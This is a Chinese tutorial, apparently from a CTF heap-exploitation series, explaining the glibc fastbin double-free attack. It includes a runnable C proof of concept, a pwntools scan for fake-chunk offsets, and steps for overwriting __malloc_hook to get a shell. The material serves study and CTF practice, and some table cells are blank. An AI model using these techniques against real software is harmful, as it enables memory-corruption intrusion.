02|Fastbin Attack 理论:size 校验与错位 chunk 构造
一句话:fastbin 是单链表,free 时只检查「是不是刚释放的那一个」,所以free(A); free(B); free(A);能造出环;改 fd 就能让 malloc 返回任意地址——前提是目标 +8 处的 size 对得上档位。
核心:free(A); free(B); free(A);→ 改 A 的 fd → 4 次 malloc
适用:所有带 fastbin 的 glibc(2.26+ 要先绕过 tcache)
0. 前提条件
条件 | 说明 | 不满足会怎样 |
尺寸 ≤ | 才是 fastbin 档位 | 进 smallbin / unsorted |
能重复释放同一块 | double free 漏洞 | 没有环,无法 dup |
2.26+ 要先填满 tcache | free 会先走 tcache | 块根本进不了 fastbin |
目标 +8 处 size 可对上档位 | malloc 会校验 | 报 |
目标地址可写 | 否则使用时崩 | 只能选"可写且不在乎原值"的地方 |
1. 基础规则
1.1 Chunk 是什么
malloc(0x60)拿到的不是 0x60 字节,而是一个chunk:
+0x00 prev_size 前一块大小(前块空闲时才有意义) +0x08 size 本块大小 + 3 个标志位(bit0 = PREV_INUSE) +0x10 fd ← 空闲时:指向链表中的下一个空闲 chunk +0x18 bk +0x20 ... 用户数据关键:malloc返回的是chunk + 0x10,不是 chunk 起始。
这一点在伪造 chunk 时至关重要——写 fd 要写「chunk 起始地址」,而拿到手的指针是「chunk+0x10」。
1.2 Fastbin 是什么
小块内存频繁申请释放时,glibc 不会立刻还给系统,而是扔进fastbin。
两条铁律:
- 单链表:
fastbinsY[idx]指向链表头,每块的 fd 指向下一个。 - LIFO:后释放的排在前面。
free(A) → fastbin: A -> NULL free(B) → fastbin: B -> A -> NULL malloc() → 返回 B,fastbin: A -> NULL1.3 尺寸怎么分档
#define fastbin_index(sz) ((((unsigned int) (sz)) >> 4) - 2)请求 | chunk 大小 | index |
0x10 ~ 0x18 | 0x20 | 0 |
0x20 ~ 0x28 | 0x30 | 1 |
... | ... | ... |
0x58 ~ 0x60 | 0x70 | 5 |
0x68 ~ 0x78 | 0x80 | 6 |
默认global_max_fast = 0x80,超过就进 smallbin / unsorted bin。
2. 漏洞:防呆设计只防"连着两次"
glibc 在_int_free里对 fastbin 有个很简陋的检查:
if (__builtin_expect (old == p, 0)) /* old = 当前链表头 */ malloc_printerr ("double free or corruption (fasttop)");它只比较「这次的块」和「当前链表头」是不是同一个。
所以:
free(A); free(A); → 报错(fasttop),因为 A 就是当前头 free(A); free(B); free(A); → 通过 第二次 free(A) 时,头是 B,A != B这就是 fastbin dup(double free)的入口。
3. Fastbin Dup 五步
前提:先申请 A、B、C 三块同尺寸(C 用于防止与 top 合并)。
第 1 步:造环
free(A) → A -> NULL free(B) → B -> A -> NULL free(A) → A -> B -> A -> B -> ... ← 形成环此时fastbin[idx] = A,A->fd = B,B->fd = A。
第 2 步:第一次 malloc,拿到 A 并改 fd
malloc() → 返回 A,fastbin 头变成 B现在我们拥有 A 的写权限,把 A 的前 8 字节(就是 fd 的位置)改成目标 chunk 地址:
B -> A -> Target ↑ 我们改的(A 已分配,但环里还挂着 A)第 3 步:第二次 malloc,消耗 B
malloc() → 返回 B,fastbin 头变成 A第 4 步:第三次 malloc,再拿到 A
malloc() → 返回 A,fastbin 头变成 Target注意:A 被返回了两次——这是 dup 的直接后果,也是为什么必须free(A)两次。
第 5 步:第四次 malloc,拿到 Target
malloc() → 返回 Target + 0x10(chunk 转 user 指针)到这里,你拿到了一块不在堆上的内存的写权限。
4. 最后一道门槛:size 检查
malloc 从 fastbin 取块之前,会校验目标 chunk 的 size:
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0)) malloc_printerr ("malloc(): memory corruption (fast)");翻译:victim->size必须落在和你请求同一个 index的范围内。
怎么绕过:错位伪造
目标地址附近往往天然存在一个"看起来像 size"的字节。
以__malloc_hook为例:
__malloc_hook - 0x23 ← 伪 chunk 起点 +0x08 ← 这一处的值低字节天然是 0x7f chunksize(0x7f) & ~0xf = 0x70 fastbin_index(0x70) = 5 ← 和请求 0x60 同一档 ✅于是:
malloc(0x60) 返回 (__malloc_hook - 0x23) + 0x10 = __malloc_hook - 0x13从hook-0x13往后写 0x13 字节的填充,正好覆盖到__malloc_hook。
怎么找这种位置
不要背-0x23,自己扫:
from pwn import ELF libc = ELF('./libc.so.6', checksec=False) base = libc.sym['__malloc_hook'] for off in range(0, 0x400): p = base - off sz = u64(libc.read(p + 8, 8)) & 0xffffffffffff if (sz & 0xf) == 0 and 0x70 <= sz <= 0x7f: print(hex(p), hex(sz)) # 找到伪 chunk 起点不同 libc 版本,-0x23不一定成立,必须自己扫。
5. 2.26+ 的干扰:tcache 会先把块截走
这是最容易踩的坑。
glibc 2.26 起,free的第一步是进 tcache,只有 tcache 对应档位满了(默认 7 个)才轮到 fastbin。
/* _int_free 开头(2.26+) */ if (tcache && tc_idx < mp_.tcache_bins && tcache->counts[tc_idx] < mp_.tcache_count) { /* 放进 tcache,直接 return —— 连 fastbin 都碰不到 */ }所以在 2.26+ 上做 fastbin attack,必须先:
① 申请 8 个同尺寸的块 ② free 掉其中 7 个(填满 tcache) ③ 第 8 个 free 时才会进 fastbin或者干脆改用 tcache poisoning(更简单,见下一讲)。
6. 完整例子(改到能跑)
目标:让malloc返回一个栈上的数组地址。
6.1 关键:fd 要指向 chunk 起点,不是 user 指针
fake_chunk +0x00 prev_size +0x08 size = 0x71 ← 骗过 size 检查 +0x10 用户数据 ← malloc 返回这里所以fd要写fake_chunk,而比较时要比fake_chunk + 0x10。
6.2 攻击代码
#include <stdio.h> #include <stdlib.h> unsigned char area[0x100] __attribute__((aligned(16))); int main(void) { /* ---------- 第 0 步:伪造一个 chunk ---------- */ void *fake_chunk = area + 0x40; /* 伪 chunk 起点 */ *(unsigned long long *)((char *)fake_chunk + 0x08) = 0x71; /* size */ void *want = (char *)fake_chunk + 0x10; /* malloc 会返回这里 */ printf("fake_chunk = %p\n", fake_chunk); printf("want (returned) = %p\n", want); /* ---------- 前提:三块 A/B/C ---------- */ void *A = malloc(0x60); void *B = malloc(0x60); void *C = malloc(0x60); /* 防止 A/B 与 top 合并 */ /* ---------- 第 1 步:造环 ---------- */ free(A); free(B); free(A); /* dup:头是 B,与 A 不同 → 通过 */ /* fastbin: A -> B -> A */ /* ---------- 第 2 步:拿 A,改 fd ---------- */ void *a2 = malloc(0x60); /* 返回 A,头变 B */ *(unsigned long long *)a2 = (unsigned long long)fake_chunk; /* fastbin: B -> A -> fake_chunk */ /* ---------- 第 3、4 步:取 B、再取 A ---------- */ malloc(0x60); /* 返回 B,头变 A */ malloc(0x60); /* 返回 A,头变 fake_chunk */ /* ---------- 第 5 步:拿到目标 ---------- */ void *hacked = malloc(0x60); /* 返回 fake_chunk + 0x10 */ printf("hacked = %p\n", hacked); if (hacked == want) puts("[+] fastbin dup 成功"); else puts("[-] 偏移算错了"); return 0; }编译运行:
gcc -o demo demo.c -no-pie ./ld-2.27.so --library-path . ./demo预期:
[+] fastbin dup 成功⚠️在 2.27 上跑会失败——因为块都进了 tcache。要跑通需要先填满 tcache,或改用 2.23。
这也正好说明第 5 节的重要性。
7. 真实落点:__malloc_hook
真实题目里,目标通常选__malloc_hook:
项 | 值 |
伪 chunk 起点 |
|
该处 +8 的值 |
|
malloc 返回 |
|
写入偏移 | 0x13 字节填充 + 8 字节目标地址 |
写进去什么:system地址、one_gadget地址。
下一次 malloc 时,__malloc_hook被执行 → 直接拿 shell。
版本边界:2.34 起__malloc_hook被删除,这条路彻底失效,只能改走_IO_list_all/exit_funcs。
8. 版本边界
glibc | fastbin dup | 备注 |
≤ 2.25 | ✅ | 直接可用 |
2.26 ~ 2.31 | ⚠️ | 要先填满 tcache,否则块不进 fastbin |
2.32+ | ⚠️ | 同上,且 |
2.34+ | ⚠️ | fastbin 仍可,但 hook 没了 → 换落点 |
9. 与其他技巧对比
技巧 | 写入值 | 值可控 | 前置条件 |
fastbin attack | 你填的任意值 | 可 | 目标 +8 处 size 要匹配档位 |
tcache poisoning | 你填的任意值 | 可 | 无 size 校验,更简单 |
unsorted bin attack | bin 头地址 | 不可 | 块要在 unsorted |
large bin attack | victim 堆地址 | 不可 | 两次插入 |
一句话:fastbin 比 tcache 多一道 size 校验,所以在 2.27+ 上优先用 tcache。
10. 常见误判
误判 | 实际 |
| 会被 fasttop 拦住,要 |
fd 写目标地址就能拿到 | fd 要写chunk 起点,拿到的是 chunk+0x10 |
目标地址随便选 | 目标 +8 处的 size 必须落在同一 index |
2.27 上照抄 2.23 的 exp | tcache 会把块截走 |
| 每个 libc 版本要自己扫 |
11. 一句话总结
fastbin 只管「是不是刚释放的那一个」,不管「链表里有没有重复」;改 fd 就能让 malloc 返回任意地址,代价是要伪造一个 size 对得上的假 chunk。
📌 相关阅读
- 上一篇:《01|Tcache Poisoning 理论:2.27 为什么完全不校验 fd》
- 下一篇:《03|Unsorted Bin Attack 理论:写入值为什么是 bin 头》
- 实战配套:《10|Fastbin Attack 实战:错位打 __malloc_hook》(刷题专栏)
全部 exp 与 gdb 脚本:<GitHub 链接>